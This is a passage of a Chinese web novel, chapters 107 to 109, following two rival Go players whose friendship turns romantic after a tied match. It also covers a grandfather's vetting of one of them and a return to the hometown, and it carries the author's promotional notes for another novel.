他是唯一一个寒门翘楚,泥里飞凰,靠捡废纸,建立了全球领先的包装纸生产基地,成为了一代首富。 第107章 继拿到‘应世杯’之后, 纪辰新手里再次捧了个‘弈天杯’。 由于主办方没想到最终会出现平局的情况,所以奖杯只准备了一个。 于是,一个奖杯被两个人捧着, 这种奇特的画面,就这么出现在了镜头里。 纪辰新拉着个脸不太想说话,只稍稍托着奖杯,身旁的苏陌倒是带着得体的笑,托举了大半的奖杯。 记者们眼放绿光,像盯猎物一样盯着俩人。 “两位, 有想到最终会是这样的情况吗?可以说一下获奖感言吗?” 纪辰新闻言依旧不想说话, 苏陌则是偏头笑了一下, 喉间带着少年人独有的清亮,“结果不重要,友情第一, 比赛第二。” “友情?所以两位, 在这之前就是很好的朋友了是吗?” 苏陌肯定道, “对, 我们一直以来都是很好的朋友, 从未变过。” 纪辰新听到这话,眉眼微动, 想说什么, 到底还是什么都没说。 “那请问, 两位对于大众给你们的称呼如何评价?” 苏陌微愣,“称呼?什么称呼?” “就是棋坛双子星,说你们俩是势均力敌的强强关系。” “是吗?我倒还蛮喜欢这个称呼。”苏陌听完解释,语气愉悦,黑眸亮的像是盛满了夏夜的星子, “不过,我认为我们虽然是赛场上的劲敌,但更是互相成就的知己。” “哇,苏陌选手,你的形容太有感觉了,自带宿命感和话题度。” 记者显然很满意他的回答,这报道、这录像放出去,还不得引起轩然大波啊。 “那纪辰新选手,你觉得呢?你认可苏陌选手的回答吗?” 记者很敏锐地将这个问题抛给了一直沉默着的纪辰新,想从他这挖点更劲爆的话题,毕竟上午他放的那段狠话,已经证明了可取性。 纪辰新抿了下唇,赛场上的劲敌,相互成就的知己吗? 好像也没错,这样形容他们的关系。 “他说的没错。” 于是,短短几个字,言简意赅,他直接承认了苏陌说的话。 记者眼睛一亮,等下报道的标题,她都已经想好了,那就是‘棋坛双子星,一段双向奔赴的感情!’ 一旁,听到回答的苏陌,喉结轻轻滚动了一下,似要将嘴边的笑意尽数咽下,可那双清冷的眸子里,却泛着细碎的光,仿若要冲破他故作平静的外壳。 说到底,纪辰新不论多么抗拒这段关系,终究也还是承认的。 甚至,他或许一点也不抗拒,毕竟刚刚他用指腹去触碰他的手背时,他并没有挪开! 这说明了什么,说明自己是有机会的! 而这场比赛,虽然最终以平局结束,致使俩人关系回到原点,约定也不再作数,但归根结底,还是让苏陌探到了底。 这个底就是,纪辰新心里并不是完全没有他的! 这如何能让人压抑的住心底的欢喜?! 苏陌的心跳在胸腔里跳的格外急促,连带着呼吸都乱了半拍,然而他的脊背却依旧挺的笔直,矜贵得像一幅未被惊扰的水墨画。 采访结束后,纪辰新手一撤,奖杯都不要了。 苏陌跟在他身后,悄声道,“奖杯放我那里,地址和密码你都知道,随时可以过来看。” 纪辰新翻了个白眼,不想理他。 他越走越快,只想要逃离这个令人尴尬的场地。 四月份的帝都,晚风带着料峭的凉意,夜空清透得像是洗过的黑丝绒,星子疏疏落落地嵌在上面,与高楼大厦的霓虹、古建筑的宫灯遥遥相映。 纪辰新裹着外套,一路向外走。 不知走了多久,走到周围已经没有人时,苏陌依旧默默地跟在身后。 纪辰新也不说话,随他跟,只是自己的心多少还是有些乱了。 他们俩的关系,就像黑白棋子在棋盘上缠出的死结,早把俩人缠成了一团解不开的线,剪不断理还乱。 他本以为只要赢了苏陌,就能斩断所有的牵绊,结果三局和棋彻底打破了俩人之间的平衡与窗户纸。 棋局里,他明明布下了铜墙铁壁,结果苏陌硬是靠着临危不乱的定力以及壮士断腕的魄力,与他展开了殊死搏斗。 他很难说明白这是种什么感觉,却莫名激起了他心底难以言喻的热流,比任何胜利都更让人心动。 他们在赛场上的较量,又像是两个灵魂在棋盘上的碰撞,每一步都精准到宛如绝配。 如果硬要用什么来形容,或许就是,高山觅知音,伯牙与子期! 这种欣赏与炙热,他从没在别人身上有过,他相信也坚信,这种感觉,这个世上或许只有苏陌能给他了。 棋盘上的黑白交错,成了难解的死局,那些落子声中悄然滋生的欣赏,不知不觉中,渐渐发展为更浓烈的情愫。 他想,他了解到苏陌当初跟他表白时说的那些话了。 原来,他竟这么早竟这么早 这场黑白的世界里,他们终将是找到了那个与自己灵魂契合的人。 感情这种事,居然还真就这么不讲道理。 纪辰新自嘲地笑出了声,他笑之前自己对苏陌的退避三舍,也笑自己如今也坠入了情网。 不过,他想让子弹再飞一会儿,沉淀沉淀。 他将要冷静一段时间,如果这期间,自己对这段情愫没有丝毫改变,那么他才会正视。 毕竟,这才是对双方负责任的表现。 于是,在他拦了辆车准备回学校时,苏陌还想跟上来,纪辰新适时地阻止了。 “苏陌,我会给你个交代的,只不过需要时间。” 他的态度比之前好了不止一星半点儿,语气也温柔了不少。 苏陌望着他的神色,察觉到了什么,“好,我不逼你。” “不过,纪辰新,不管你之后的决定是什么,我的回答依旧不会变,我们之间的约定也可以重新开始,一次不行就再来一次,咱们较量一辈子!” 纪辰新险些气笑了,“苏陌你就是这样追人的吗?” 苏陌摇摇头,“赵言权给我出的馊主意,馊归馊,但总归还是有些用的不是吗?” 纪辰新的眉峰不自觉地扬起,没有回答他,反而提了句其他的,“所以,赵言权一早就知道了?” “嗯,差不多吧,让他帮我说几句好话,估计说了我不少坏话吧,你也别找他兴师问罪了,他架在我们俩之间,算的上是左右为难。”苏陌最后做了回人。 纪辰新嘁了一声,随后上了车。 苏陌目送车远去,视线未离开半分,刚刚那句较量一辈子的话,他并不是说说而已。 如果纪辰新仍然无法接受他,那么他也做好了准备,继续履行约定,直至死去的那一天。 从此,他们将永永远远的纠缠在一起。 * 回到宿舍的纪辰新,第一时间给赵言权打去了电话。 “说吧,瞒我什么事了。” 赵言权眼珠子一转,“我?我瞒你什么了,我能瞒你什么?” “苏陌都告诉我了,你还瞒?”纪辰新没好气道。 赵言权眼睛一瞪,骂骂咧咧道,“好啊,他简直就不是个人,他居然告我密,亏我还帮他!” 纪辰新服了他,“你帮他什么了,我怎么不知道,他让你帮他说好话,我好像一句都没听到。” 赵言权支支吾吾道,“我我我这不是还没来得及吗。” “行了,我又没说要怪你,只是告诉你,这事我知道了,以后不用小心翼翼,提心吊胆的了。” “真的?你不怪我?”赵言权语气惊讶。 “嗯,苏陌说让我别为难你。” 赵言权狐疑道,“啧,这丫的,能有这么好心?” “我还能骗你?以为我跟你一样啊?” “嘿,我那是善意的谎言,好不。而且我算是安插在苏陌那里的卧底,我可没干任何对不起你的事。”赵言权狡辩道。 纪辰新轻笑了一声,“行了,说你两句,你还自夸上了。” “啧,不对,你很反常,知道这事,你居然还笑的出来,老实交代,你们俩发生什么事了,居然这么开心?”赵言权敏锐猜疑道。 开心? 纪辰新闻言,顿时嘴角一僵,他摸了摸自己的嘴角,好像是挺开心的。 至于这开心的原因嘛,他不想太去计较。 “没发生什么啊,没事的话,我挂了哈。” 赵言权蹙眉,“休想转移话题,你很不对劲啊,纪辰新。” 纪辰新未免漏下太多破绽,假装打了个哈欠,“有吗,我今天太累了,睡了哈。” 说罢,他赶紧把电话挂了。 挂断电话后,只见他长舒一口气,然后摸上了自己微烫的脸颊,随后又狠狠晃了几下头,才倒在了床上,将脸埋进了枕头里。 这叫什么事啊 本来还想着要冷静呢,怎么感觉根本就冷静不下来呢?! 床对面的苏衍,冷不丁开口。 “我今天看了你们的比赛,很精彩。” 纪辰新将陷在枕头里的脸抬了起来,瞥了他一眼,“噢。” “就是感觉你们之间的氛围怪怪的。”!!! 纪辰新的心陡然一惊,“有吗?” “希望是我想多了。” “呵呵。”纪辰新根本不知道该如何接话。 “我爷爷有可能会来找你。” “啊?什么,为什么?”纪辰新一头雾水地看着他。 “因为你太优秀了,你的实力跟苏陌不分伯仲,爷爷他,很惜才的。” 这样吗? 纪辰新心底莫名打鼓,如果只是这样,倒也不怕,他已经拒绝过很多次别人抛来的橄榄枝了,就算是再拒绝一次也无妨。 就怕不是这样!—— 作者有话说:[让我康康][让我康康][让我康康] 预收《假少爷滚回乡下后全村躺赢》大家收藏一下吧[抱抱][抱抱] 文案如下: 朝闻重活一世,再逢真少爷被找回的场景,这次他不哭不闹,麻利的滚回了老家。 落后的松风村,这日,迎来了一个星眸皓齿,光彩照人的后生。 后生大包小包,还带来了一车的物资,里面是各种学习用品。 朝闻被大大小小的孩子们围了一圈又一圈,他们用亮晶晶的眼神望着他,“哥哥,你长的真好看,你是明星吗?” 朝闻浅笑,“我不是明星,这里是我的家。” 从此,朝闻在松风村定居了下来。 他闲时承包了村里的洋桔梗、小雏菊、向日葵等易活鲜切花,做成盲盒,对接城市的白领社群和花店,带动村民参与种植和打包。 他盘活了村里没住人的老宅,改造成乡野风格的民宿,配套柴火灶做饭、自采自摘的模式,吸引周末短途旅游的家庭和人员。 他依托村里的农田、山林、溪流等开设农夫研学堂,吸引城市家长带孩子体验农耕和自然教学。 他甚至还联合村里的竹编、草编、刺绣匠人,打造乡村非遗文创集市,实现线上线下同步销售手工制品。 朝闻的到来,使得松风村脱胎换骨,慢慢从贫困走上了富裕的道路,乡亲们都异常感激他,把他当成了救世主般的存在。 哪家哪户有点什么事,都喜欢找他主持公道! 然而,没人注意的角落,一位锐目似狼,鹰隼试翼的少年正默默注视着一切。 他早在,朝闻回来村子的第一天,就盯上了。 之后,他总会适时的出现在朝闻需要帮忙的时候,帮他解决一切麻烦与棘手的事! 众人都跟他说,离他远点,他是不详之人。 但朝闻记得他,靳骁,他不是不详之人。 他是唯一一个寒门翘楚,泥里飞凰,靠捡废纸,建立了全球领先的包装纸生产基地,成为了一代首富。 第108章 冷静的这几天, 苏陌非常信守承诺,没来打扰。 而纪辰新再次过上了有条不紊的生活,但很多时候, 他变的心不在焉了,动不动就会去想苏陌在做什么,以至于那颗想要静下来的心越来越不平静。 这日,他接到了崔文和发来的短信,说是在校门外等他。 纪辰新犹豫了一下,还是去赴约了。 许久未见的崔文和, 还是老样子, 一头长发柔顺飘逸, 他站在微光里,惹的众人频频回头。 纪辰新过来时,他上前一步, 想要拥抱, 却被纪辰新不留痕迹地躲了过去。 “你这就没意思了, 朋友之间抱一下都不行吗?” 他嗔怪的语气, 令纪辰新微微不适, 以前还没有这么明显,但现在此时此刻, 他莫名自觉地与崔文和之间划上了一条更为清晰的三八线。 只见他转移话题, “你不是去外地参加比赛了吗, 怎么回来了。” 崔文和挑了下眉,没跟他计较,只是肩并肩与他挨着走,“你和苏陌在帝闹出这么大动静,我还不回来, 岂不是要被偷家啊。” 他话里话外的意思,是那么的具有挑逗与暗示性,纪辰新岂能不明白。 “你怎么不说话了,这个问题就那么难回答吗?” 纪辰新指了指不远处的店,“我们坐下聊吧,大老远过来了,我请你喝咖啡。” 崔文和乐了,“行啊,你请的话,我要喝最贵的。” * 咖啡店里,透明的玻璃,俩人就在窗边坐着。 崔文和兴致很高地给纪辰新讲述着他在外地参加比赛时的所见所闻,那些有趣儿的事经过他嘴讲出来,别有一番风味。 “两位,你们点的咖啡上齐了。” 服务员的声音,陡然打破了俩人之间交谈。 纪辰新示意他喝,“这个温度正好,凉了就不好喝了。” 崔文和轻轻抿了抿,“嗯,是不错。” “你非要来店里聊,感觉是很重要的事,能不能先给我透个底,不然我这心里慌的很啊。” 纪辰新静静凝望着他,“你要什么底?” “就比如,记者报道的那些东西,真的还是假的?”崔文和试探出口,“我猜,应该都是为了夺人眼球吧?” “真是为了流量和噱头,连事实都不顾了!” 纪辰新默了一瞬,“其实” “别其实了,我听我说” “没关系的,他们写的那些虽然有部分不属实,但我觉得无伤大雅。” “你说什么?” 崔文和还以为自己听错了,整个人直接僵住,“你” “就是你想的那个意思。”纪辰新淡淡开口,“抱歉了。” 崔文和脑子一片空白,好半天,才连上线,“我想的那个意思?” “我想的什么,你能知道?” 纪辰新直视他,语气坚定,“知道。” 对面一时,沉默不语,像是气笑了般。 “为什么?” “为什么不是我,明明我比他先”说到这,崔文和梗住了,因为他也不确定了,“是我先和你告白的对吧?” 纪辰新摇摇头,“这和谁先告白没有关系,感情这种东西没有先来后到。” 崔文和只觉得全身发寒,像是被一盆凉水从头浇到尾,他头重脚轻地起身,“先别说了,我想去上个厕所。” 他起身的那一秒,差点摔倒,随后踉踉跄跄地走向了卫生间。 卫生间里,他整个人站在洗手台前,用冷水一遍又一遍地拍打在自己脸上,企图让自己冷静下来。 那乌黑亮丽的长发顺着肩头缓缓滑落到洗手池里,湿了一绺又一绺。 最后抬头时,他只感觉自己狼狈至极。 在厕所整理了大约十分钟,他才重新走出来。 玻璃窗边,纪辰新还在静静等待,咖啡都没怎么动。 崔文和换了副面孔,笑着坐下,“你希望我祝福你们俩吗?” 纪辰新讶异着他的变化,“我没有这个意思。” “不管你是什么意思,你想让我放弃,那你的算盘要落空了。” “你们俩互通心意了?” “看来是没有啊,那就没什么好说的了,你们又不是在一起了,也不是结婚了,而且我国同性婚姻不合法,即便你们在国外登记结婚也有离婚的那一天,我可以等!” 崔文和无所谓地说着这些,看起来竟是毫不在意,纪辰新已经心有所属。 “你等也没用,我对你没感觉。”纪辰新被他激的,话说的越发直白,不给他留一丁点情面。 崔文和咬了下舌尖,面上依旧是云淡风轻的笑,“没关系,日子那么长,以后的事谁说的准。” 纪辰新深吸了一口气,也不跟他继续绕弯子了,“今天呢,我过来就是告诉你一声,以后我不会再来赴你的约,免得给你留念想。” “实在要问候或是有急事要找我,短信说一声就是了。” “纪辰新,不用做的这么绝吧,你为了苏陌,连我这个朋友都不要了吗?”崔文和这次终于无法再保持淡定,语气急切道。 纪辰新盯着他,“到底是真的朋友,还是藏了什么其他的心思?你当真有这么清白?” “我我当然!”崔文和咬牙道。 “可我不信,我们以后还是不要再见面了。”纪辰新说完这句,就准备起身走了。 崔文和立即跟着起身,伸手拦住了他,“纪辰新,你这么做会后悔的。” “让开。”纪辰新冷冷看着他,“去找一个真心喜欢你的人吧,不要在我身上浪费时间了。” 说罢,他就推开了崔文和拦住他的手。 “你值得更好的。” 更好的? 什么是更好的? 爱情还能这么比较吗? 崔文和神色落寞地站在原地,望着窗外那人离去的身影,心脏一抽一抽地疼。 纪辰新,你根本什么都不懂! 没有更好的了 你就是最好的! * 纪辰新走出咖啡店,没多久,就遇上了一辆低调奢华的黑色轿车。 车门打开,里面的人做出了请的姿势。 纪辰新没动,因为他不确定这是他认识的人。 里面的管家,自报了家门,“我家老爷,苏瀚阳,苏院士有请。” 苏瀚阳? 苏陌的爷爷? 还真是说什么来什么。 上次苏衍还说,他爷爷可能会见他,没想到这么快。 既然是苏陌的爷爷,纪辰新自然以礼相待了。 他很乖巧的上了车。 车行驶了三公里,来到了一个会所门口。 管家领着他往里面走,“我家老爷就在里面等着。” 纪辰新也不是那种怯场的人,来都来了,自然是走一步看一步了。 管家带着他来到了7楼,推开了最里面那间包厢的门,然后就退出去了。 纪辰新见管家走了,犹豫了一下,才在侧面轻叩了两下门,“您好,我是纪辰新,可以进吗?” “进来吧。” 苏瀚阳中气十足,他稳坐在黑檀木椅子上,面前是沏好的茶。 “坐吧。” 纪辰新刚进来,就听见这么一句。 他仔细打量了几眼苏瀚阳的长相,是一个养尊处优的老爷爷,穿着件唐装,整个人挺威严的,眼神也很锐利。 纪辰新在他对面坐下,却见对面的人给他沏了杯茶,“尝尝。” 依言,他尝了一口,没品出什么东西来,只觉得有点苦有点涩。 “您老,找我什么事啊?” 甫一放下杯子,纪辰新就问出了心里的疑惑。 苏瀚阳睨着他,岁月在他眼角刻下深纹,却没磨钝那双眼睛,“我孙儿苏陌,跟你关系不错?” 居然扯到了苏陌,纪辰新话到嘴边,谨慎了起来,“额,朋友。” “是吗,仅此而已?”苏瀚阳眼皮微垂时像是掩着寒光,“之前我就觉得奇怪,我给他谈的那桩婚事,居然被含含糊糊地给退掉了,死活问不出原因。” “上次看你俩比赛,隐晦地发现苏陌看你的眼神,倒还真像当年我见到他奶奶时的神情。” “都是过来人了,再不明白也都明白了。” 这 纪辰新冷不丁地被惊出了一身冷汗 这怎么不按常理出牌啊,直接摊牌了?! 苏瀚阳锐利的目光如鹰隼般扫过他。 “察觉到此事,把我气的好几天没睡着,但更多的,我还是想了解了解你的看法。” “刚刚你在咖啡店与你那友人的谈话,我都知道了。” 什么?! 纪辰新眼睛一瞪,瞳孔地震,“你派人跟踪我?监视我?偷听我说话了?” “这是违法的,你知不知道?” “我可以报警抓你的!” 他说起话来丝毫不留情面,仿佛触及到了自己的底线。 苏瀚阳指尖轻叩着黄花梨茶几,一抬眼带着不容置喙的威严,“我必须得了解,我孙儿喜欢上的,究竟是什么样的人。” “现在看来,你除了出身差了点,但人品,和能力都还不错。” “没有任何名师教导,光靠自己,围棋水平居然能与我陌儿不相上下,光这点,就让我对你刮目相看了,小子。” 所以呢? 纪辰新不明所以地看着他,“你到底想说什么?” “你配我陌儿,我虽情理上不愿,但也无话可说。”苏瀚阳带着久居高位的从容与压迫感,“他铁了心要和你在一起,我终究会老,会死,拗不过他了。” 这话一出,纪辰新感觉周遭的空气,都似在他的目光下安静了几分。 “可我家是要传宗接代的,如果你们真在一起了,那么家里的财产都将与他无关,我会全部都留给他那个同父异母的弟弟。” “这样,你也能接受吗?” 纪辰新沉着脸,“问我干嘛,我又不要你家的财产,老子不缺钱,就算缺钱,老子也可以自己去挣。” “随便去打几场比赛,钱就来了。” “哈哈哈哈哈,还真是少年英才,初生牛犊不怕虎啊。” 苏瀚阳突然就笑了,“你小子确实有这个实力,这样我也就放心了。” 他望着纪辰新的眼神里充满了欣赏,这样具备天赋、能力、机敏、智商与美貌于一身的孙媳,怎么看都像是他家赚了。 而且有这小子坐镇,他那不成器的儿子以及那上不得台面的儿媳总不至于还能霍霍的了陌儿吧。 “放心,刚刚只是吓唬你的,家里的财产会给你们留一份的。” 纪辰新狐疑地看着他,搞不清他说的哪句话是真,哪句话是假。 “前提是你们能守住。” 纪辰新琢磨点味出来,呛了一句,“苏衍一直惦记着呢,他能给你传宗接代,你还是都留给他吧。” 苏瀚阳那原本交叠的腿缓缓放平,真丝唐装的下摆随着动作轻垂,露出锃亮的黑缎面布鞋,深深叹了口气。 “这孩子,太优柔寡断了,也太听他父母的话了,早晚会被吃的连渣儿都不剩。” “当然了,我自然也给他备了一份的,不比陌儿少,但要等他真正能自食其力,长大成人后才能支配。” 纪辰新没想到这老爷子居然想的这么长远,看来他也并不是真的不在乎这个孙儿啊。 相反,还很在乎。 毕竟每一步都计算到了,认真为他考虑—— 作者有话说:预收《假少爷滚回乡下后全村躺赢》大家收藏一下吧[哈哈大笑][哈哈大笑][哈哈大笑] 文案如下: 朝闻重活一世,再逢真少爷被找回的场景,这次他不哭不闹,麻利的滚回了老家。 落后的松风村,这日,迎来了一位星眸皓齿,光彩照人的后生。 后生大包小包,还带来了一车的物资,里面是各种学习用品。 朝闻被大大小小的孩子们围了一圈又一圈,他们用亮晶晶的眼神望着他,“哥哥,你长的真好看,你是明星吗?” 朝闻浅笑,“我不是明星,这里是我的家。” 从此,朝闻在松风村定居了下来。 他闲时承包了村里的洋桔梗、小雏菊、向日葵等易活鲜切花,做成盲盒,对接城市的白领社群和花店,带动村民参与种植和打包。 他盘活了村里没住人的老宅,改造成乡野风格的民宿,配套柴火灶做饭、自采自摘的模式,吸引周末短途旅游的家庭和人员。 他依托村里的农田、山林、溪流等开设农夫研学堂,吸引城市家长带孩子体验农耕和自然教学。 他甚至还联合村里的竹编、草编、刺绣匠人,打造乡村非遗文创集市,实现线上线下同步销售手工制品。 朝闻的到来,使得松风村脱胎换骨,慢慢从贫困走上了富裕的道路,乡亲们都异常感激他,把他当成了救世主般的存在。 哪家哪户有点什么事,都喜欢找他主持公道! 然而,没人注意的角落,一位锐目似狼,鹰隼试翼的少年正默默注视着一切。 他早在,朝闻回来村子的第一天,就盯上了。 之后,他总会适时的出现在朝闻需要帮忙的时候,帮他解决一切麻烦与棘手的事! 众人都跟他说,离他远点,他是不详之人。 但朝闻记得他,靳骁,他不是不详之人。 他是唯一一个寒门翘楚,泥里飞凰,靠捡废纸,建立了全球领先的包装纸生产基地,成为了一代首富。 第109章 与苏瀚阳告别后, 纪辰新才返回了学校。 校园里,春日的梧桐叶长出了新叶,新叶在暖风中舒展开嫩黄的边缘, 偶有去年的老叶裹着花香飘落,擦过纪辰新的肩头。 不远不近的距离,他看见苏陌站在一棵梧桐树下,米白色的风衣,袖口被风掀起了一角。 少年静静站在那儿,目光定在熙攘的人流里, 像一柄收了锋芒的剑, 路过的女生都忍不住回头看他, 只因他气质太过清冷,长的太过好看。 纪辰新蓦地停住了脚步,他突然发觉自己似乎从未好好观察过苏陌, 少年眉骨高挺, 眼尾微微上挑, 却因垂着眸, 敛去了所有锐利, 只剩一种近乎矜贵的疏离。 苏陌的皮鞋擦的锃亮,裤线笔直, 哪怕是随意站着, 也像是画报里精心摆拍的模特, 与周围吵闹的氛围格格不入。 所以这人,不仅与自己的精神世界契合,就连外表也如此合自己的心意吗? 纪辰新的眉眼不由弯了弯,嘴角溢出一丝笑。 风又暖了些,卷着落叶轻轻拂过他的发梢, 终于,纪辰新朝他走了过去。 苏陌按着手机,屏幕亮了又暗,看着从容的站姿,实际藏着一丝不易察觉的急迫,就在他再次垂眸看手机时,指尖微顿,抬眼的刹那,目光恰好撞进不远处的那双笑眼里。 四目相对的瞬间,他像是被下了定身咒,喉结急促地滚动了两下,原本清冷的眉眼瞬间失了分寸。 他的眼睫惊惶的颤了颤,“你” “你是特意在这儿等我的吗?”纪辰新先发制人。 少年的耳廓以肉眼可见的速度染上薄红,他那份可以维持的从容被瞬间击碎,“我听我爷爷说见了你,我怕你们” 纪辰新挑了下眉,“嗯,是见了,你担心我们没聊好,心生嫌隙?” “老实说,你爷爷暗中派人跟踪我,打听我,还偷听我说话,这种行为真的很可耻。” 闻言,少年的神色一下就冷了下来,“对不起,我事先不知道,不过你放心,我回去一定说他,让他给你道歉,以后绝对不会发生这种事了。” “额,倒也不用道歉这种程度,他毕竟是长辈,以后别再犯就行了。”纪辰新本想开一下玩笑,却没想到苏陌竟然这么认真。 “他都跟你说什么了?他是不是欺负你了?”少年目光胶在他身上,里面藏着担忧与紧张。 纪辰新定了定神,下意识顺了顺被风吹乱的额发,“没说什么,也没欺负我,你别想太多了。” 他能说什么呢,说他爷爷已经认下他这个孙媳妇,让他们俩以后好好过日子? 这发展实在太过神速,他暂时还接受不了! 纪辰新清了清嗓子,掩饰着内心的慌乱,“没什么事的话,我就先回宿舍了。” 说罢,他转身就走。 “等等。” 话刚落,纪辰新就猛地停下了脚步,他也不知道自己为什么这么听话。 “纪辰新,可以不要躲着我了吗?” 苏陌上前了一步,眸光悄悄落在了鞋尖上,“我们可以像从前那样相处的。” 纪辰新呼吸微沉,一时不知道该如何回答。 少年依旧在说,“你让我给你时间冷静,已经过去一个礼拜了,你考虑的怎么样了?” “还是说,我爷爷今天冒犯了你,所以连带着,你对我的印象也变差了?” 少年的担心就像细密的针,重重扎在了心底。 阳光透过枝叶的缝隙,在他脸上投下斑驳的光影,将那份清冷背后的焦灼,映的格外清晰。 “没有,不关你爷爷的事。” “那是因为什么,还是说我这个人你有哪里看的不顺眼的地方?” “” 纪辰新张了张唇,他想说,没有看不顺眼的地方,很顺眼,一切都是那么的刚刚好。 但他很胆怯,害怕处理不好这段关系。 前世今生从没有谈过恋爱的他,不知道要如何去经营,所以想要逃避。 他好像没有办法建立亲密关系。 让一个人进入自己的领地,这是任何一个雄狮都不能接受的,本能的抗拒。 “你让我再想想,好吗?” 纪辰新压抑着说出这句话,他也不知道该怎么办了。 也许是看到了他眼中的迷茫与纠结,苏陌抿了下唇,终是后退了一步,“好。” 他依旧给他空间,舍不得去逼他。 * 半个月的时间,纪辰新就像乌龟一样缩在了自己的壳里。 他想他对苏陌是苛刻的,不接受也不拒绝,就这么一直拖着,很像是一个渣男。 苏陌会怎么想呢? 这家伙,一如既往,每天早安,晚安的信息发来,半夜还会特地搜笑话哄他入睡。 纪辰新时不时会回应一两句,表面上,俩人还是好朋友,但其中隐藏的暧昧,只有两人知晓。 苏陌说,一直这样下去也不错,起码俩人之间还有联系。 然而,纪辰新却不敢给任何一句承诺。 时间就这样来到了五月初,纪辰新接到了奶奶的电话,说是江洲的房子谈好了,以25万的价格成交,五一假期搬过去。 纪辰新这次二话不说买了机票,奢侈了一把。 回到墨城的当天,祖孙俩就收拾好了行李,随后叫了搬家公司,一路从墨城开了将近十个小时的车,抵达了江洲。 再次回到巷子里,街坊邻居早早得到了消息,纷纷帮忙打扫卫生。 其中肖椿是最积极的,他一个人擦了全部的窗户和玻璃。 纪辰新叫他下来歇歇,他也只是笑了笑,感叹道,“七年了,咱两终于又是邻居了。” 虽然这次中间隔了一户,但也大差不差吧。 “以后我经常来窜门,你可不要嫌我烦。”纪辰新打趣道。 肖椿直接从凳子跳下来,“来呗,还怕我招待不好你啊。” “哈哈,那是!我过来了,不仅要准备茶水,饮料,零食都不能少的。” “放心,少不了你的!” “对了,你大学准备考哪,还有一个月就高考了。” 纪辰新递了瓶水给他。 肖椿接过,咕噜咕噜灌了几口,“你那个学校,太难考了,我看看能不能考你附近的。” “考我附近的?”纪辰新眼睛一亮,“你也想去帝都上大学?” 肖椿擦了下汗,“对啊,你能去,我就不能去?” “以后我们逢年过节还可以一起回来。” “哈哈哈哈,那敢情好啊,我帮你看看我们学校附近还有哪些比较好的学校。”纪辰新笑着道,“我现在就帮你查。” “乖孙儿,快下来,签合同了,奶奶看不懂,你大学生,你仔细看看。”李春兰紧急将孙儿喊了下来,“合同签完,咱们就去银行转账。” 纪辰新闻言,一刻也不敢耽搁,“好嘞,马上。” 说罢,他也不跟肖椿聊了,“等忙完这事,再帮你查。” “快去吧,不用你帮我查,我心里都有数。”肖椿撵他下去,“我继续擦玻璃了。” 纪辰新一路从楼上跑到楼下,最后在居委会的共同见证下,签下了合同。 签好合同,几人又一起去到了银行。 等所有手续全部办完,都已经是下午四点了。 李春兰是一个闲不住的,她立马又去菜市场买菜,说是要犒劳街坊邻居帮忙他们打扫卫生。 纪辰新赶紧拦住她,“等过段时间,咱们办场乔迁宴,庆祝一番。今天你也累了,就别折腾了,家附近的饭馆儿点几个菜,叫上他们一块儿去那儿吃。” “奶奶,孙儿现在有钱了,咱们不用省那三瓜两枣的。” 李春兰愣了一下,迷糊道,“也是,还是乖孙儿你想的周到,奶奶听你的。” “那我去联系一下饭馆,订几个菜。” “你自己玩会儿,奶奶先不跟你说了。” 风风火火的,没两分钟,小老太太又匆匆忙忙的走了,留下纪辰新一个人风中凌乱。 “” 既如此,纪辰新索性就在集市里逛了起来。 江洲的乡音听的他亲切,莫名有种安全感。 不知逛了多久,忽然,他好像听到有人在喊自己。 于是他回头,左顾右盼。 谁? 没人? 难道是自己幻听了? “纪辰新!” “真的是你啊?” 那声音,绝对没听错,就在自己身后,于是他再次转头,猝不及防就对上了那人的视线。 比自己略微矮一点的身形,寸头,眼睛却亮的惊人。 侧目一看,旁边还站着一位,比自己还高的…独眼男人。 此时此刻,这两人目光异常炯亮地看着他,就像是久别重逢的故友。 纪辰新的瞳孔蓦地瞪大,正想说什么,却见俩人正手牵着手,一副亲昵姿态,丝毫不在意世人的眼光。 “你们” “纪辰新,你不记得我了吗,我是胡浪啊,这是阿金,黎上金。” “额记得,记得” 纪辰新无法形容自己脑子里受到的冲击。 “你们怎么在这?” 胡浪激动道,“你这话说的,江洲是我们的老家,怎么就不能在这儿了,倒是你,你怎么会在这?按理说像你这样的人物,出门得配七八个保镖吧。” “你说笑了,我什么人物啊,哪有这么大排场。”纪辰新无奈道,“别站大街上聊了,去那边的饮品店喝点东西?” 胡浪正有此意,他大咧咧笑着,“好啊,我们请客,你想喝什么?” 我们? 纪辰新不由又瞥了眼俩人相握的手 黎上金一直没说话,但眼神很是友好地回望了他一眼。 等三人来到饮品店,俩人才终于松开了手,随后胡浪坐到了纪辰新旁边,一副自来熟的模样,“我跟你说,你当初世赛,我还给你加油来着,每场直播我都看了。” “你小子行啊,这么多年没有消息,一出来就炸场。” 纪辰新不好意思地笑笑,“一言难尽,以前家里出了点事,现在都没事了。” “那就好,我和阿金这些年,一直都念叨你去哪儿了。”胡浪说到这,又想起什么,“对了,阿金现在是职业六段了。” 纪辰新惊讶地瞥了眼对面的男人。 黎上金终于开口,“这一切还要感谢你,当初要不是你,我也没有现在的成就。” 说罢,他从口袋里抽出个信封。 “这里面是五千块钱,物归原主。” 纪辰新眉头一皱,连忙摆手,“什么五千,我当初只给了你两千。” “我现在有能力了,多出来的算我给你的利息,不用担心,这也是我的一片心意。”黎上金目光柔和。 “你不会一直将这么多钱揣口袋里,就等着我吧。”纪辰新诡异地问出这么一句话。 胡浪扑哧笑出了声,“你怎么知道?阿金他就是死脑筋,你对他有恩,所以自从赚到钱起,他每次来市里,都把钱揣着,想着哪天能遇到你,就还给你。” 啊,这 “我当初帮你没想让你还的。” 纪辰新说着心里话,“我很高兴,你有现在的成就。” “纪辰新你就收着吧,难道以你现在的身价,看不起这点钱了?”胡浪揶揄了一句。 这 “怎么会,那就当是我的投资了,如今拿到了回报,哈哈哈。” 纪辰新也不扭捏了,爽快的收下了这笔钱。 他一笑,胡浪也跟着笑了,黎上金抿了抿唇,望着俩人,也笑了。 三人叙了会儿旧,面对俩人如今的关系,纪辰新也不开口问,有些东西心照不宣就行了。 然而,胡浪好像并不这么想,当三人聊的差不多时,他堂而皇之地握住了黎上金的手。 “你是不是很意外我们俩现在的关系?” 纪辰新喝了口咖啡,平静地看着俩人,“恋人?” “看来你接受度良好,到底是在大城市混过的,见多识广。” 胡浪笑着道,“我没有在你眼睛里看到鄙夷,所以才跟你坦白的。” 纪辰新轻轻点了下头,“你们很勇敢。” “我也觉得,世界这么大,我们能遇到彼此,靠近彼此,本就是一场盛大的幸运。生命太短暂了,犹豫就有可能错过,我们都不想有遗憾,也不想在回忆里追悔莫及。” 